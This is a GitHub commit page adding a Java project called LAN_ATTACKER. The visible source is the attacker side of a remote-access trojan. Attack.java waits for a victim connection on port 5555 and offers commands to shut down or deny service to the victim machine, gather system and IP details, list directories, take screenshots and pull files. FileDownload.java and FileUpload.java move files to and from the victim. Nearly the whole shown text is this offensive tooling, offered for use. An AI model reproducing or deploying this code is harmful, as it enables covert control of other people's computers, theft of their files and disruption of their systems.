Skip to content

Commit

Permalink
Merge pull request #1 from DhesiTheKing/DhesiTheKing-lanAttacker-v2
Browse files Browse the repository at this point in the history
Add files via upload
  • Loading branch information
DhesiTheKing authored Apr 28, 2024
2 parents 50a4a76 + 402dda1 commit 712a987
Show file tree
Hide file tree
Showing 13 changed files with 406 additions and 0 deletions.
Binary file added LAN_ATTACKER/bin/hack/Attack.class
Binary file not shown.
Binary file added LAN_ATTACKER/bin/hack/FileDownload.class
Binary file not shown.
Binary file added LAN_ATTACKER/bin/hack/FileUpload.class
Binary file not shown.
Binary file added LAN_ATTACKER/bin/hack/Victim.class
Binary file not shown.
Binary file added LAN_ATTACKER/imgs/skull.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added LAN_ATTACKER/jgoodies-common-1.8.0-sources.jar
Binary file not shown.
Binary file added LAN_ATTACKER/jgoodies-common-1.8.0.jar
Binary file not shown.
Binary file added LAN_ATTACKER/jgoodies-forms-1.8.0-sources.jar
Binary file not shown.
Binary file added LAN_ATTACKER/jgoodies-forms-1.8.0.jar
Binary file not shown.
77 changes: 77 additions & 0 deletions LAN_ATTACKER/src/hack/Attack.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
package hack;

import java.net.*;
import java.util.Scanner;

import javax.swing.JOptionPane;

import java.io.*;
public class Attack {
public static void Hack() {
try {
ServerSocket ss=new ServerSocket(5555);
Socket s=ss.accept();
//JOptionPane.showConfirmDialog(null, "Connected!!");
System.out.println("----------ATTACKING----------");
System.out.println("1.'dos' [making the victim's system unavailable]");
System.out.println("2.'shut' [shutdown thw victim's system]");
System.out.println("----------INFORMAION GATHERING----------");
System.out.println("1.'ip' [Gathering all details about the ip]");
System.out.println("2.'syspec' [Gathering all the System details]");
System.out.println("3.'open website' [Enter the URL of the website]");
System.out.println("4.'directory enumaration' ['dir`'+ terminal commonds]");
System.out.println("5.'Change the Server' ['ipchange`'<IP ADDRESS>]");
System.out.println("6.'Download Files' ['downfile`'<file path>]");
System.out.println("7.'TAKING SCREENSHOT' ['scrnsht`'<img path>]");
DataInputStream din=new DataInputStream(s.getInputStream());
DataOutputStream dout=new DataOutputStream(s.getOutputStream());
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String vic="",att="";
while(!att.equals("stop")) {
att=br.readLine();
dout.writeUTF(att);
if(att.contains("downfile")) {
vic=din.readUTF();
System.out.println(vic);
FileDownload f = new FileDownload();
dout.writeUTF("dir`undo");
f.start();
}
if(att.contains("upfile")) {
//Scanner in = new Scanner(System.in);
System.out.println("ENTER THE VICTIM IP:");
String ipadd=br.readLine();
System.out.println("ENTER YOUR FILE PATH TO UPLOAD:");
String path=br.readLine();
FileUpload f = new FileUpload(path,ipadd, 14325);
f.start();
vic=din.readUTF();
System.out.println(vic);
dout.writeUTF("dir`undo");

}

if(att.equals("dos")|| att.equals("shut")|| att.equals("ipchange") || att.equals("ip") || att.equals("syspec") || att.contains("txt") || att.length()>5 || att.contains("dir") || att.contains("scrnsht") && !att.contains("downfile") && !att.contains("downfile")) {
vic=din.readUTF();
System.out.println(vic);
}
dout.flush();

}
din.close();
s.close();
ss.close();
}
catch(Exception e) {
System.out.println(e.toString());
}
}

public static void main(String[] args) throws Exception
{
Hack();

}

}

36 changes: 36 additions & 0 deletions LAN_ATTACKER/src/hack/FileDownload.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
package hack;

import java.io.DataInputStream;
import java.io.FileOutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Scanner;

public class FileDownload extends Thread{
public void run() {
try {
ServerSocket socket = new ServerSocket(14322);
Socket clientSocket = socket.accept();
DataInputStream dis = new DataInputStream(clientSocket.getInputStream());
Scanner in = new Scanner(System.in);
System.out.println("ENTER THE PATH:");
String path=in.nextLine();
FileOutputStream fout = new FileOutputStream(path);
int i;
while ( (i = dis.read()) > -1) {
fout.write(i);
}

fout.flush();
fout.close();
dis.close();
System.out.println("FILE DOWNLOAD SUCCESSFULY!!");
clientSocket.close();
socket.close();
}
catch(Exception e) {

}
}

}
34 changes: 34 additions & 0 deletions LAN_ATTACKER/src/hack/FileUpload.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
package hack;

import java.io.DataOutputStream;
import java.io.FileInputStream;
import java.net.Socket;

public class FileUpload extends Thread{
String path,ip;
int port;
public FileUpload(String path, String ip, int port) {
this.path=path;
this.ip=ip;
this.port=port;
}

public void run() {
try {
int i;
FileInputStream fis = new FileInputStream (path);
Socket sock = new Socket(ip, port);
DataOutputStream os = new DataOutputStream(sock.getOutputStream());
while ((i = fis.read()) > -1)
os.write(i);

fis.close();
os.close();
sock.close();
}
catch(Exception e) {

}

}
}
Loading

0 comments on commit 712a987

Please sign in to comment.